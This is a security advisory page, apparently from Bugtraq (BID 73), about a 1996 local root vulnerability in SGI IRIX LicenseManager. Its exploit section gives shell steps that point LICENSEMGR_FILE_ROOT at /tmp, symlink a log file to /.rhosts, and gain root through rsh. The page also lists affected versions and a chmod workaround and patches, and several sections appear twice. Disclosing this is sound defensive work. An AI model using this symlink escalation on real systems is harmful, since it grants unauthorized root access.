IRIX LicenseManager LICENSEMGR_FILE_ROOT Vulnerability
BID:73
Info
IRIX LicenseManager LICENSEMGR_FILE_ROOT Vulnerability
| Bugtraq ID: | 73 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Nov 22 1996 12:00AM |
| Updated: | Nov 22 1996 12:00AM |
| Credit: | The vulnerability was published as "Irix: new LicenseManager is safe? No way" by Yuri Volobuev <[email protected]>. |
| Vulnerable: |
SGI license_oeo 3.1.1 SGI license_oeo 3.1 SGI license_oeo 3.0 SGI IRIX 6.4 SGI IRIX 6.3 SGI IRIX 6.2 SGI IRIX 6.1 SGI IRIX 6.0.1 XFS SGI IRIX 6.0.1 SGI IRIX 6.0 SGI IRIX 5.3 SGI IRIX 5.2 SGI IRIX 5.1.1 SGI IRIX 5.1 SGI IRIX 5.0.1 SGI IRIX 5.0 SGI IRIX 4.0.5 IPR SGI IRIX 4.0.5 H SGI IRIX 4.0.5 G SGI IRIX 4.0.5 F SGI IRIX 4.0.5 E SGI IRIX 4.0.5 D SGI IRIX 4.0.5 A SGI IRIX 4.0.5 (IOP) SGI IRIX 4.0.5 SGI IRIX 4.0.4 T SGI IRIX 4.0.4 B SGI IRIX 4.0.4 SGI IRIX 4.0.3 SGI IRIX 4.0.2 SGI IRIX 4.0.1 T SGI IRIX 4.0.1 SGI IRIX 4.0 SGI IRIX 3.3.3 SGI IRIX 3.3.2 |
| Not Vulnerable: |
SGI IRIX 3.3.1 SGI IRIX 3.3 SGI IRIX 3.2 |
Discussion
IRIX LicenseManager LICENSEMGR_FILE_ROOT Vulnerability
Under normal operation LicenseManager(1M) is a program used to view and manage FLEXlm and NetLS software licenses. Unfortunately, a set of vulnerabilities has been discovered that allows LicenseManager(1M) to arbitrary manipulate root-owned files allowing root access.
Under normal operation LicenseManager(1M) is a program used to view and manage FLEXlm and NetLS software licenses. Unfortunately, a set of vulnerabilities has been discovered that allows LicenseManager(1M) to arbitrary manipulate root-owned files allowing root access.
Exploit / POC
IRIX LicenseManager LICENSEMGR_FILE_ROOT Vulnerability
% mkdir -p /tmp/var/flexlm
% setenv LICENSEMGR_FILE_ROOT /tmp
% cd /tmp/var/flexlm
% cat > license.dat
#
# FLEXlm license file
#
FEATURE + + blah sgifd 1.00 01-jan-0 0 blah
^D
% ln -s /.rhosts license.dat.log
% LicenseManager &
Next click on Update, fill in the four fields with any information and click
on Apply. LicenseManager will report an error. Ignore it and exit.
% cat /.rhosts
Checkpoint file /var/flexlm/license.dat Fri Nov 22 19:05:50 1996
#
# FLEXlm license file
#
FEATURE + + blah sgifd 1.00 01-jan-0 0 blah
% rsh localhost -l root
#
% mkdir -p /tmp/var/flexlm
% setenv LICENSEMGR_FILE_ROOT /tmp
% cd /tmp/var/flexlm
% cat > license.dat
#
# FLEXlm license file
#
FEATURE + + blah sgifd 1.00 01-jan-0 0 blah
^D
% ln -s /.rhosts license.dat.log
% LicenseManager &
Next click on Update, fill in the four fields with any information and click
on Apply. LicenseManager will report an error. Ignore it and exit.
% cat /.rhosts
Checkpoint file /var/flexlm/license.dat Fri Nov 22 19:05:50 1996
#
# FLEXlm license file
#
FEATURE + + blah sgifd 1.00 01-jan-0 0 blah
% rsh localhost -l root
#
Solution / Fix
IRIX LicenseManager LICENSEMGR_FILE_ROOT Vulnerability
Solution:
A temporary fix is:
# /bin/chmod 500 /usr/etc/LicenseManager
Apply the appropiate patch for your version of IRIX. SGI patches can be
obtained from ftp://ftp.sgi.com/security/.
OS Version Patch
---------- -----
IRIX 5.3 1678
IRIX 6.1 Not available
IRIX 6.2 1678
IRIX 6.3 1695
Solution:
A temporary fix is:
# /bin/chmod 500 /usr/etc/LicenseManager
Apply the appropiate patch for your version of IRIX. SGI patches can be
obtained from ftp://ftp.sgi.com/security/.
OS Version Patch
---------- -----
IRIX 5.3 1678
IRIX 6.1 Not available
IRIX 6.2 1678
IRIX 6.3 1695
References
IRIX LicenseManager LICENSEMGR_FILE_ROOT Vulnerability
References:
References:
- SGI Support (Silicon Graphics Inc.)